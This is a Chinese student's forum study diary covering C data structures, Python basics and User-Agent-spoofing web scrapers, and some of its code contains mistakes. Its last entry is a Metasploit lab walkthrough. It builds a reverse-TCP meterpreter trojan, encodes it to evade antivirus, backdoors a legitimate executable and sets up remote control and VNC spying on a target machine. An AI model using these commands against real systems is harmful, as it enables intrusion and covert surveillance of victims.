周婷学习日记

Delina · 发表于 2020-2-18 21:14:23

周婷学习日记

Delina · 发表于 2020-2-20 15:57:17

本帖最后由 Delina 于 2020-3-6 18:48 编辑

2020/2/20日学习日记：
最近这几天复习了一下关于上学期关于数据结构的内容，目前主要看了关于链表的知识，总结如下，部分内容主要参考与MOOC慕课和CSDN博客：
关于顺序表和链表的优缺点及适用场合：1.顺序表：可以随意访问表中任意位置的元素，但是其删除和添加元素困难，适合大量排序，顺序表的创建简单，需要一片连续的地址空间，所占内存小，适用于大量访问或排序，但是不适用于大量删除和添加元素的情形。2.链式表：不能随意访问，但是删除和添加元素简单，大量排序比较困难，而且创建和编写比顺序表复杂，内存的地址不是连续的，占用的空间也比较大。适用于需要经常大量删除和增加元素但不需要经常访问元素的情景。
单向链表的结构结点定义：

typedef struct Lnode//结点类型
{
int data;//值域
struct Lnode *next;//链域
}Lnode,*LinkList;//结点类型名和指针类型名
LinkList head,p,l;//定义指针类型变量

复制代码

malloc()用法,结点的产生
p=(LinkList)malloc(sizeof(Lnode))
链表的构造：
空链表的构造：

int InitList(LinkList &L) {
//构造一个空的单链表L
L = new LNode;
L->next = NULL;
return OK;
}

复制代码

后插入法输入数据：

void CreateList_R(LinkList &L, int n) {
L = new LNode; //先建立一个带头结点的空链表
L->next = NULL;
LinkList r;
r = L; //尾指针r指向头结点
for (int i = 0; i < n; ++i) {
LinkList p = new LNode; //生成新结点
scanf("%d",p->data.no); //输入元素值赋值给新结点*p的数据域
p->next = NULL;
r->next = p; //将新结点*p插入尾结点*r之后
r = p; //r指向新的尾结点*p
}
}

复制代码

链表里面元素值的获取：

int GetElem(LinkList L, int i, BOOK &e) {
//在带头结点的单链表L中根据序号i获取元素的值，用e返回L中的第i个数据元素的值
int j = 1; //初始化，计数器j初赋值为1
LNode *p;
p = L->next; //初始化，p指向首元结点
while (p&&j < i) {
++j; //计数器j相应加1
p = p->next; //p指向下一个结点
}
if (!p || j > i)
return ERROR; //i值不合法，i>n或i<=0
e = p->data; //取第i个结点的数据域
return OK;
}

复制代码

向后插入数据：

int ListInsert_R(LinkList &L, int i, BOOK e) { //在第i个后插入
//在带头结点的单链表L中第i个位置插入值e的新结点
LinkList p;
int j = 0;
p = L;
while (p && (j < i - 1)) {
p = p->next;
++j; //查找第i-1个结点，p指向该结点
}
if (!p || (j > i - 1))
return ERROR; //i>n+1 或 i<1
LinkList s = new LNode; //创建新结点*s
s->data = e; //将结点*s的数据域置为e
s->next = p->next->next; //将结点*s的指针域指向结点ai
p->next->next = s; //将结点*p的指针域指向结点*s
return OK;
}

复制代码

删除链表中数据元素：

int ListDelete(LinkList &L, int i) { //在第i个后插入
//再带头结点的单链表L中，删除第i个元素
int j = 0;
LinkList p;
p = L;
while ((p->next) && (j < i - 1)) { //查找第i-1个结点，p指向该结点
++j;
p = p->next;
}
if (!(p->next) || (j > i - 1)) //当i>n或i<1时，删除位置不合理
return ERROR;
LinkList q;
q = p->next; //临时保存被删结点的地址以备释放
p->next = q->next; //改变删除结点前驱结点的指针域
delete q; //释放删除结点的空间
return OK;
}

复制代码

关于系数多项式的求和：
P=8+10x^2+108x^100
Q=5x^2+90x^101-300x^135
求P+Q
如果采用顺序表存储数据，将会造成大量的空间浪费，所以采用链式表的结构，来存储多项式的数据。在定义数据结构时，需要定义两个数据域，一个存储系数ceof，另一个存储指数exp：

typedef struct node
{
float coef;//系数域
int exp;//指数域
struct node *next;
}Lnode,*LinkList
void main()
{
...
pa=createlinkA();//创建多项式
pb=createlinkB();//创建多项式
pa=Add(pa,pb);//多项式求和
...
}

复制代码

求和主要算法：

int Add(LinkList A, LinkList B) //加法
{
LinkList C,S;
LinkList pa,pb,pc;
float x;
pa = A->next;
pb = B->next;
C = (LinkList )malloc(sizeof(snode )); // 申请头节点
pc = C; // 操作时使用pc指针
pc->next = NULL;
while (pa && pb)
{
if(pa->exp == pb->exp) // 指数相等时
{
x = pa->coef + pb->coef;
if (x) // 相加完的系数不为0时
{
S = (LinkList )malloc(sizeof(snode ));
S->coef = x;
S->exp = pa->exp;
S->next = NULL;
pc->next = S;
pc = S;
}
pa = pa->next;
pb = pb->next;
}
else
if(pa->exp < pb->exp) //指数不相等且A项指数小于B项指数时
{
S = (LinkList )malloc(sizeof(snode ));
S->coef = pa->coef;
S->exp = pa->exp;
S->next = NULL;
pc->next = S;
pc = S;
pa = pa->next;
}
else //指数不相等且A项指数大于B项指数时
{
S = (LinkList )malloc(sizeof(snode ));
S->coef = pb->coef;
S->exp = pb->exp;
S->next = NULL;
pc->next = S;
pc = S;
pb = pb->next;
}
}//多项式相加不会对齐，当其中链表尾多出几项时，将其合并到一个表中
while (pa) //A链表后几项多出来时
{
S = (LinkList )malloc(sizeof(snode ));
S->coef = pa->coef;
S->exp = pa->exp;
S->next = NULL;
pc->next = S;
pc = S;
pa = pa->next;
}
while (pb) //B链表后几项多出来时
{
S = (LinkList )malloc(sizeof(snode ));
S->coef = pb->coef;
S->exp = pb->exp;
S->next = NULL;
pc->next = S;
pc = S;
pb = pb->next;
}
return C;
}

复制代码

以上知识主要是对上学期数据结构的复习与加深，通过回看慕课和程序的练习编写，使得对链表的使用更加熟练，熟悉了数据结构，在解决其他问题时也变得方便容易得多。下一部分准备复习栈和队列的相关知识。

Delina · 发表于 2020-2-24 15:14:58

本帖最后由 Delina 于 2020-3-9 17:44 编辑

2020/2/24学习日记
今天我复习了栈和队列，进行了个大概总结：
栈：只能在一端进行插入和删除操作的特殊线性表，遵循后进先出的原则。根据前面学过的链式表和顺序表，栈也有两种实现方式，链式栈和顺序栈。
先看顺序栈：

#define EMPTY -1//空栈的栈顶指针
const int m=1000;//定义栈的空间大小
int s[m];//定义顺序栈
//程序执行期间，将会不定时的入栈出栈，开始时栈空，栈顶指针的值为EMPTY
int push(int s[],int &top,int x)//进栈函数
{
if(top==m-1) return 0;//表示栈满，不能进栈
s[++top]=x;
return 1;//表示进栈成功
}
int pop(int s[],int &top,int &x)//出栈函数
{
if(top==EMPTY) return 0;//表示栈空，不能出栈
x=s[top--];
return 1;//表示出栈成功
}

复制代码

进出栈的时间复杂性均为T(n)=O(1)
链栈的算法构造：
首先定义数据结构

typedef struct snode
{
int data;
struct snode *next;
}snode,*ptr;

复制代码

进栈算法：

int push(ptr &top,int x)
{
ptr=p;
p=new snode;//申请结点
if(p==NULL) return 0;//申请失败
p->data=x;//进栈
p->next=top;//表头插入法
top=p;//修改表头指针
return 1;
}
int pop(ptr &top,int &x)
{
ptr=p;
if(top==NULL) return 0;//退栈失败，栈空
x=p->data;
p=top;//表头删除法
top=top->next;
free(p);
return 1;//退栈成功
}

复制代码

关于一个栈的应用：表达式求值，具体算法思想如下
由于表达式中既有运算符，又有操作数，所以为了区分开，需要两个栈来存储数据，还需要判别运算符的优先级别，举一个例子：计算表达式a+b*c^d-e/f:
首先准备两个栈，设S栈存储操作数，F栈存储运算符，根据优先级可知，运算顺序为
(1)t1=c^d
(2)t2=b*t1
(3)t3=a+t2
(4)t4=e/f
(5)t5=t3-t4
运算规则：
若当前输入为数，则数进S栈；
若为符，则需与栈顶符比较，优先级高于栈顶符则进F栈，否则做栈顶运算符，符、数出栈。
输入：a+b*c^d-e/f#
实现过程：首先输入字母a，a为数，进S栈；输入字符“+”，进F栈；
输入字母b，进S栈；输入字符"*",与栈顶字符比较，优先级高于栈顶字符，进F栈；输入字母c，进S栈；输入字符“^”,与栈顶符比较优先级高，进F栈；输入字母d,进S栈；输入字符“-”，优先级低于栈顶符，栈顶符运算，t1=c^d,字母c、d和字符“^”出栈，“*”为栈顶符，再次比较，又做运算t2=b*t1,"*',b出栈，再做运算t3=a+t2,"+"和a出栈；e进S栈；输入“/”，进F栈；f进S栈；输入“#”，做运算t4=e/f,"/"和e,f出栈再做运算t5=t3-t4,"-"出栈；#是算法结束的标识符，运算结束。
队列：
队列跟栈不同在于，队列遵循先进先出的原则，银行的排队系统等就是使用的队列。队列元素的插入在一端进行，出队则在另一端实现，利用顺序队实现，则有一个last指针指向队尾，first指针指向队头，这种方法比较麻烦。在判断是否队空时，用first=last=i(i是0~m-1之间的任一值)，但是判断队满也是这个表示方法，无法区分，所以为了使得算法清晰，而且让队列表可以重复使用，我们采用循环队列，并且少用一个单元，其特点就是可以重复使用已退队元素。
这时判断队满表达式为：(last-first+m)%m=0,判断队空为：first=last=0;
其算法的实现如下：
顺序队算法：

int addq(int a[],int first,int &last,int x)
{
if((last+1)%m==first) return 0;//队满
q[last]=x;
last=(last+1)%m;
return 1;//进队成功
}
int delq(int a[],int &first,int last,int &x)
{
if(last==first) return 0;//队空
x=q[first];
first=(first+1)%m;
return 1;//出队成功
}

复制代码

链式队：采用单向加头链表结构，first为首指针，last为尾指针。进队时，将新节点插在表尾处，last移向新节点；出队时，将头节点后的第一个元素出队，删除头结点。

int saddq(ptr &last,int x)
{
ptr p;
p=(ptr)malloc(sizeof(snode));
if(p==NULL) return 0;//空间分配失败
p->data=x;
last->next=p;//表尾插入法
last=p;
last->next->NULL;
return 1;//进队成功
}
int sdelq(ptr &last,ptr &first,int &x)
{
ptr p;
if(first==last) return 0;//队空
p=first;//表头删除法
first=p->next;
x=first->data;//x出队
free(p);
return 1;//出队成功
}

复制代码

啊哈，写得有点累了，先到这儿吧

，等到下一次复习了再写一些

Delina · 发表于 2020-3-6 18:34:06

本帖最后由 Delina 于 2020-3-9 17:45 编辑

2020/3/6学习日记
树的相关算法
关于树的存储方法，一般有三种存储：多重链接，儿子兄弟链，父亲链域。
多重链接法：
数据结构定义如下

typedef struct tnode
{
element_type data;
struct tnode *son[m];
}tnode,*tptr;
tptr root;

复制代码

链域的利用率：(n-1) / n*m=1/m,该种存储方式耗费的空间很大，而且找”父亲“和”儿子“很难。
儿子兄弟链：

typedef struct tnode
{
element_type data;
struct tnode *son,*lbrother;//指向第一个儿子，第一个兄弟的链域
}tnode,*tptr;

复制代码

这种方法找”儿子“和”兄弟“容易，但是找”父亲“难。
父亲链域法：

typedef struct tnode
{
element_type data;
int father;//父节点存储于数组中的下标
}tnode;
tnode tree[n];;//n为节点数
int root;//定义根节点

复制代码

数组的下标是结点的编号，就像静态链表，这种方法由”儿子“找到”父亲“容易，但是反过来找就很困难。
关于二叉树的存储：分为静态和动态存储
双链法：

typedef int element_type;
typedef struct bnode
{
element_type data;
struct bnode *lson,*rson;
}bnode *bptr;//二叉树结点
bptr root;
typedef struct btree
{
char *name;
bptr root;
}btree;//二叉树

复制代码

找”子“易i，找”父“难，完全二叉树的顺序存储法：直接定位父与子。
二叉树的遍历：
先序遍历：根->左->右
中序遍历：左->根->右
后序遍历：左->右->根
实现树的遍历：（采用双链表结构）

void preorder(bptr p)//先序遍历二叉树
{
if(!p) return;
visit(p);
preorder(p->lson);
preorder(p->rson);
}//T(n)=O(n)

复制代码

每个结点都要访问一次，共有n此（非空）调用，每个空子树也要递归调用一次，共有n+1次空调用，为了小区这种空调用，可将递归部分改为：

if(p->lson)preorder(p->lson);
if(p->rson)preorder(p->rson);

复制代码

关于中序遍历和后序遍历，同样采用递归的办法，根据遍历原则调换左右子树遍历和visit(p)的顺序即可。
递归遍历算法总实现：
void traversal(bptr p)
{
if(!p)return;
先序访问（p）;
traversal(p->lson);
中序访问（p）;
traversal(p->rson);
后序访问（p）；
}
通过二叉树的遍历可以实现求二叉树的叶子树，结点的度、层数、高度、子孙等。
1.求个节点的层数：

void level(bptr p,int i)
{
if(!p)return;
p->layer=i;
level(p->lson,i+1);
level(p->rson,i+1);
}

复制代码

2.求个节点的高度：

int high(bptr p)
{
int i,j;
if(!p)return 0;
i=high(p->lson);
j=high(p->rson);
p->height(i>j)?i+1:j+1;
return(p->height);
}

复制代码

3.求结点a的子孙：

void descents(bptr p,element_type a)
{
if(!p)return;
if(p->data==a)found=1;//a子孙开始
if(found==1)printf("%4d",p->data);
descents(p->lson,a);
descents(p->rson,a) ;
if(p->data==a)found=0;//a子孙结束
}

复制代码

小结：先序遍历可求二叉树各结点层数
      后序遍历求二叉树各结点的高度
      先序和后续相结合求给定结点的所有子孙
      采用何种遍历取决于对二叉树进行的操作
二叉树的构造：
根据二个序列（必须含有中序）可以唯一确定二叉树的结构，例如：用先序序列ABCDEFGH+中序序列BDCEAGFH构造出的二叉树如下：
                           A
                        /    \
                        B       F
                        \    /  \
                           C G H
                        / \
                        D    E
编程实现先序和中序序列构造一棵二叉树：
数组a[n],b[n]分别存储二叉树的先序和中序序列
递归构造函数如下：
函数头：bptr buildtree(int a[],int b[],int i,int j,int s,int t)
a~a[j]是子树的先序序列
b~b[t]是子树的中序序列
子树构造完毕，返回指向其根节点的指针
主调语句：root=buildtree(a,b,0,n-1,0,n-1);

bptr buildtree(int a[],int b[],int i,int j,int s,int t)
{
int k;bptr p;
if(i>j)return NULL;
p=newbptr()；//产生一个结点
p->daata=a[i];//造根节点
k=s;
while(k<=t)&&(b[k]!=a[i])) k++;//在中序序列中找根
if(k>t) exit(ERROR);//未找到根，出错退出
p->lson=buildtree(a,b,i+1,i+k-s,s,k-1);//递归构造左子树
p->rson=buildtree(a,b,i+k-s+1,j,k+1,t);递归构造右子树
return p;//
}

复制代码

可以通过扩充先序序列构造唯一一棵二叉树，一边读结点序列一边构造：先序遍历二叉树时，如果当前要哦访问的结点不空，就几下这个结点值；如果为空，就几下”空“字所得的遍历序列。
扩充的先序序列：A,B,D,0,H,0,0,E,0,I,0,0,C,F,0,0,G,J,0,K,0,0,0

bptr pre_create()

{

bptr p;

scanf("%d",&x);

if(x==ZERO)return NULL;

p=newbptr();

p->data=x;

p->lson=pre_create();

p->rson=pre_create();

return p;

}
复制代码

Delina · 发表于 2020-3-9 17:38:58

本帖最后由 Delina 于 2020-3-9 17:46 编辑

2020/3/9学习日记
今天是关于python的一些语法的加深，摘要一些重点（摘自菜鸟教程）：
python中的[:-1]和[::-1]用法说明：

b = a[i:j] # 表示复制a[i]到a[j-1]，以生成新的list对象
a = [0,1,2,3,4,5,6,7,8,9]
b = a[1:3] # [1,2]
# 当i缺省时，默认为0，即 a[:3]相当于 a[0:3]
# 当j缺省时，默认为len(alist), 即a[1:]相当于a[1:10]
# 当i,j都缺省时，a[:]就相当于完整复制一份a
b = a[i:j:s] # 表示：i,j与上面的一样，但s表示步进，缺省为1.
# 所以a[i:j:1]相当于a[i:j]
# 当s<0时，i缺省时，默认为-1. j缺省时，默认为-len(a)-1
# 所以a[::-1]相当于 a[-1:-len(a)-1:-1]，也就是从最后一个元素到第一个元素复制一遍，即倒序。

复制代码

用字典记录学生名字和分数，再分级：

#!/usr/bin/python3
students= {}
write = 1
while write :
name = str(input('输入名字:'))
grade = int(input('输入分数:'))
students[str(name)] = grade
write= int(input('继续输入？\n 1/继续 0/退出'))
print('name rate'.center(20,'-'))
for key,value in students.items():
if value >= 90:
print('%s %s A'.center(20,'-')%(key,value))
elif 89 > value >= 60 :
print('%s %s B'.center(20,'-')%(key,value))
else:
print('%s %s C'.center(20,'-')%(key,value)）

复制代码

测试结果
输入名字:a输入分数:98继续输入 1/继续  0/退出1
输入名字:b
输入分数:23
继续输入
1/继续  0/退出0
-----name  rate----
-------a 98  A-------
-----b 23  C------

关于集合中字符串的添加：

s.update( "字符串" ) 与 s.update( {"字符串"} ) 含义不同:

s.update( {"字符串"} } 将字符串添加到集合中，有重复的会忽略。
s.update( "字符串" ) 将字符串拆分单个字符后，然后再一个个添加到集合中，有重复的会忽略。
1. >>> thisset = set(("Google", "Runoob", "Taobao"))
2. >>> print(thisset)
3. {'Google', 'Runoob', 'Taobao'}
4. >>> thisset.update({"Facebook"})
5. >>> print(thisset)
6. {'Google', 'Runoob', 'Taobao', 'Facebook'}
7. >>> thisset.update("Yahoo")
8. >>> print(thisset)
9. {'h', 'o', 'Facebook', 'Google', 'Y', 'Runoob', 'Taobao', 'a'}
10. 
复制代码
关于set的一些用法，可以用在两个列表或者元组合并时，删除其中相同的元素，而且集合还有直接排序（升序）的功能。在往集合里面添加值时，如果不加括号，则python会自动将字符串拆分成一个个的字符存储到集合里面，例如：
>>> thisset = set(("Google", "Runoob", "Taobao", "Facebook"))
>>> y=set({'python'})
>>> print(y.union(thisset)){'python', 'Taobao', 'Google', 'Facebook', 'Runoob'}
输出结果:
{'python', 'Google', 'Taobao', 'Facebook', 'Runoob'}
y 的集合里此时只含有一个元素 'python'，而如果不加花括号时，y 的集合里含有'p','y','t','h','o','n'五个元素。
>>> thisset = set(("Google", "Runoob", "Taobao", "Facebook"))
>>> y=set('python')
>>> print(y.union(thisset)){'p', 'o', 'y', 'Taobao', 'h', 'Google', 'Facebook', 'Runoob', 'n', 't'}
也可以使用括号：
thisset = set(("Google", "Runoob", "Taobao", "Facebook"))y=set(('python','love'))print(y.union(thisset))
输出结果:
{'Facebook', 'Runoob', 'Taobao', 'python', 'love', 'Google'}
但是当 y 的集合里只有一个字符串时，结果与不加花括号一样。
尝试写斐波那契数列，用之前的c语言知识可知，我们可以用函数的递归来写：
1. def fab(n):
2. if n<1:
3. print('输入有误！')
4. return -1
5. if n==1 or n==2:
6. return 1
7. else:
8. return fab(n-1)+fab(n-2)
复制代码
虽然编写简单，但是耗费的时间和空间比较大，根据python的赋值方式，可以改写成：
1. #!/usr/bin/python3
3. # Fibonacci series: 斐波纳契数列
4. # 两个元素的总和确定了下一个数
5. a, b = 0, 1
6. while b < 10:
7. print(b)
8. a, b = b, a+b
复制代码
a,b=b,a+b是两个同时赋值，为了直观地看出两种写法的时间消耗，可以在程序执行前面添加start=time.time(),在递归或者循环结束添加end=time.time(),便可计算出各自程序计算所花时间，进行直观对比。

循环语句：用python中的循环语句写经典的冒泡排序算法，主要掌握：for i in range(n)的用法：

# python 冒泡排序
def paixu(li) :
max = 0
for ad in range(len(li) - 1):
for x in range(len(li) - 1 - ad):
if li[x] > li[x + 1]:
max = li[x]
li[x] = li[x + 1]
li[x + 1] = max
else:
max = li[x + 1]
print(li)
paixu([41,23344,9353,5554,44,7557,6434,500,2000])

复制代码

复习的东西比较基础，但是觉得还是比较重要，所以先记下来，说不定以后拿来复习能够用得到，python还在继续学习中，慢慢加油！

Delina · 发表于 2021-3-5 19:15:54

2021/3/5学习日记（寒假总结一）
寒假家中学的Python爬虫相关知识，进行了简单总结，目前还在学习
1.网页爬取：
2.百度词条搜索
UA伪装：

#UA伪装
# User-Agent:
# 请求载体身份标识，通过浏览器发起的请求，请求载体为浏览器，则该请求的User-Agent为浏览器的身份标识，
# 如果使用爬虫程序发起的请求，则该请求的载体为爬虫程序，则该请求的User-Agent为爬虫程序的身份标识。
# 服务器可以通过该值来判断发起请求的是浏览器还是爬虫程序。
# 反爬机制:
# 某些门户网站会对访问该网站的请求中的User-Agent进行捕获和判断，如果该请求的UA为爬虫程序，那么就拒绝该提供请求数据。
# 反反爬策略:
# 将爬虫的UA伪装成某一款浏览器的身份标识

复制代码

爬取器

#爬取百度指词条对应的搜索结果页面
#网页采集器
import requests
if __name__ == "__main__":
#UA伪装：将对应的User-Agent封装到一个字典中
header = {
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
url = "https://www.baidu.com/s"
#处理携带的参数：封装到字典中
kw = input('录入一个关键词：')
param = {
'wd':kw
}
#对指定的URL发起的请求对应的URL是带参数的，并且请求过程中处理了参数
response = requests.get(url = url,params = param,headers = header)
page_text = response.text
fileName = kw+'.html'
with open(fileName,'w',encoding='utf-8')as fp:
fp.write(page_text)
print(fileName,"保存成功")

复制代码

3.爬取百度翻译

#破解百度翻译
# POST请求（携带了参数）
# 响应数据是一组json数据
import requests
import json
if __name__ == "__main__":
post_url = 'https://fanyi.baidu.com/sug'
#进行UA伪装
header = {
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
word = input('enter a word:')
data = {
'kw':word
}
response = requests.post(url=post_url,data=data,headers=header)
#json方法返回的是对象obj(确认响应数据是json才可以使用)
dic_obj=response.json()
fileName = word+'.json'
fp=open(fileName,'w',encoding='utf-8')
json.dump(dic_obj,fp=fp,ensure_ascii=False)
print('over')

复制代码

4.爬取豆瓣电影排行榜

import requests
import json
if __name__=="__main__":
url='https://movie.douban.com/j/chart/top_list'
param={
'type':'13',
'interval_id':'100:90',
'action':'',
'start':'1',#从库中第几部电影去取
'limit':'20',#一次取出个数
}
header = {
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
response = requests.get(url=url,params=param,headers=header)
list_data = response.json()
fp = open('./douban.json','w',encoding='utf-8')
json.dump(list_data,fp=fp,ensure_ascii=False)
print('over')

复制代码

5.爬取肯德基页面

import requests
import json
if __name__ == "__main__":
post_url = 'http://www.kfc.com.cn/kfccda/ashx/GetStoreList.ashx?op=keyword'#post请求需携带参数
keyword = input('input a keyword:')
param = {
'cname':'',
'pid':'',
'keyword':keyword,
'pageindex':'1',
'pageSize':'10',
}
header = {
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
response = requests.post(url=post_url,params=param,headers=header)
page_text = response.text
fileName = keyword+'.html'
with open(fileName,'w',encoding='utf-8')as fp:
fp.write(page_text)
print(fileName,"保存成功")

复制代码

6.动态加载数据

#-动态加载数据
#-首页对应的企业信息数据是通过ajax动态请求到的
import requests
import json
#批量抓取不同企业的ID值
url = 'http://scxk.nmpa.gov.cn:81/xk/itownet/portalAction.do?method=getXkzsList'
header = {
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
all_data_list = []#存储所有的企业详情数据
id_list = []
for page in range(1,6):#获取前五页的所有企业详情数据
page = str(page)
#参数的封装
data = {
'on':"true",
'page': '1',
'pageSize': '15',
'productName': '',
'applyname': '',
'conditionType': '1',
'applysn':'',
}
json_ids = requests.post(url=url,headers=header,data=data).json()
for dic in json_ids['list']:
id_list.append(dic['ID'])
# print(id_list)
#获取企业详情数据
post_url = 'http://scxk.nmpa.gov.cn:81/xk/itownet/portalAction.do?method=getXkzsList'
for id in id_list:
data = {
'id':id
}
detail_json=requests.post(url=post_url,headers=header,data=data).json()
# print(detail_json,'-----end\n')
all_data_list.append(detail_json)
#持久化存储
fp = open('./alldata.json','w',encoding='utf-8')
json.dump(all_data_list,fp=fp,ensure_ascii=False)
print('over!!!!!!')

复制代码

Delina · 发表于 2021-3-5 19:18:01

2021/3/5学习日记（寒假总结二）
7.正则练习

#W如何爬取图片数据
#爬取糗事百科中图片板块下所有图片
import requests
import re
import os
#创建一个文件夹，保存所有图片
if not os.path.exists('./qiutulibs'):
os.mkdir('./qiutulibs')
url = 'https://www.qiushibaike.com/imgrank/'
header = {
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
page_text = requests.get(url=url,headers=header).text
#用聚焦爬虫将页面中所有图片进行解析提取
# <div class="thumb">
# <a href="/article/124107906" target="_blank">
# <img src="//pic.qiushibaike.com/system/pictures/12410/124107906/medium/B4X3WB7W5H8LOO4F.jpg" alt="糗事#124107906" class="illustration" width="100%" height="auto">
# </a>
# </div>
ex = '<div class="thumb">.*?<img src="(.*?)" alt.*?</div>'
img_src_list = re.findall(ex,page_text,re.S)#re.S单行匹配
# print(img_src_list)
for src in img_src_list:
#拼接出一个完整的图片URL
src = 'https'+src
#请求到
img_data = requests.get(url=url,headers=header).content
#生成图片名称
img_name = src.split('/')[-1]
#图片存储路径
imgPath = './qiutulibs'+img_name
with open(imgPath,'wb') as fp:
fp.write(img_data)
print(img_name,'下载成功')

复制代码

8.bs4解析

# bs4进行数据解析
# -数据解析原理：
# 1.标签定位
# 2.提取标签、标签属性中存储的数据值
# -bs4数据解析的原理
# 1.实例化一个BeautifulSoup对象，并且将页面源码数据加载到该对象中
# 2.通过调用BeautifulSoup对象中相关的属性或者方法进行标签定位和数据提取
# -环境安装：
# 1.pip install bs4
# 2.pip install lxml
# -如何实例化对象：
# 1.from bs4 import BeautifulSoup
# 2.对象的实例化：
# 1.将本地的html文档中的数据加载到该对象中
# fp = open('./sqli-labs.html','r',encoding='utf-8')
# soup = BeautifulSoup(fp,'lxml')
# 2.将互联网上获取的页面源码加载到该对象中
# page_text = response.text
# soup = BeautifulSoup(page_text,'lxml')
# -提供用于数据解析的方法和属性：
# soup.tagName返回的是文档中第一次出现的tagName 标签
# soup.find()等同于soup.tagName,soup.find('div',class_/id/attr='song')
# soup.find_all返回的是符合要求的所有标签,返回的是一个列表
# select :
# -select('某种选择器（id,class,标签...))
# -层级选择器：
# soup.select('.层级1>层级2 层级2'):空格表示多个层级
# 获取标签之间的文本数据：
# soup.tagName.text/string/get_text()
# text/get_text()可以获取某一个标签中所有的文本内容
# string只可以获取该标签下面的文本内容
# 获取标签属性值:
# soup.a['href']
from bs4 import BeautifulSoup
#将本地的HTML文档中的数据加载到该对象中
fp = open('./exe/text.html','r',encoding='utf-8')
soup = BeautifulSoup(fp,'lxml')
# print(soup)
# print(soup.title) #soup.tagName返回的是文档中第一次出现的tagName 标签
# print(soup.find('title')) #等同于soup.tagName
# print(soup.select('.bd_bear_home')['href'])

复制代码

Delina · 发表于 2021-4-4 10:59:32

本帖最后由 Delina 于 2021-4-4 11:00 编辑

2021/4/4学习日记：metasploit制作windows恶意软件监听靶机
一、制作后门
1.先打开命令窗口，输入ifconfig查找本机IP地址LHOST，用于反弹

2.打开msf，生成木马程序：

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.254 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o/var/www/html/test.exe

复制代码

3.然后开启apache，输入命令：

systemctl start apache2

复制代码

4.之后在windows直接访问https://192.168.10.254/test.exe便可下载该木马程序

可以通过访问网站www.virscan.org检查该木马的免杀率

5.在MSF上启动handler开启监听后门程序

use exploit/multi/handler

复制代码

设置payload

set payload windows/meterpreter/reverse_tcp

复制代码

设置终端监听地址

set LHOST 192.168.10.254

复制代码

6. run，运行test.exe，终端查看建立的session

7.再输入命令可获得靶机信息，如下，获取靶机ID，程序文件目录等

输入help可查看命令辅助，对靶机进行其他测试
可以输入 run vnc可进行实时监控，检测靶机上的操作

二、如何给一个正常的软件添加后门
1.先下载绿色版软件，打开包，查看主程序会调用哪些附加的小程序，然后把payload后门和这些小程序绑定到一起，其步骤和生成木马几乎一样，但是会多一个参数。
例如，对QvodTerminal.exe注入payload后门程序,添加参数：-x QvodTerminal.exe

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.254 -b "\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o/var/www/html/test.exe

复制代码

2.将含有后门的 QvodTerminal.exe下载下来并且覆盖原先的文件，运行主程序，带动后门程序启动，其他步骤同上。
三、使用metasploit的evasion模块生成后门木马
evasion是metasploit自带的生成木马的模块
1.使用evasion模块
查找

search evasion

复制代码

使用第一个模块

use evasion/windows/windows_defender_exe

复制代码

设置参数

set FILENAME delina.exe

复制代码

设置payload

set payload windows/meterpreter/reverse_tcp

复制代码

设置地址

set LHOST 192.168.10.254

复制代码

2.run 生成木马监听

下载exe文件，设置监听

use exploit/multi/handler

复制代码

设置payload

set payload windows/meterpreter/reverse_tcp

复制代码

设置终端监听地址

set LHOST 192.168.10.254

复制代码

开启监听：run

---------------------------------------------------------------end-----------------------------------------------------------------

		自动登录	找回密码
密码			立即注册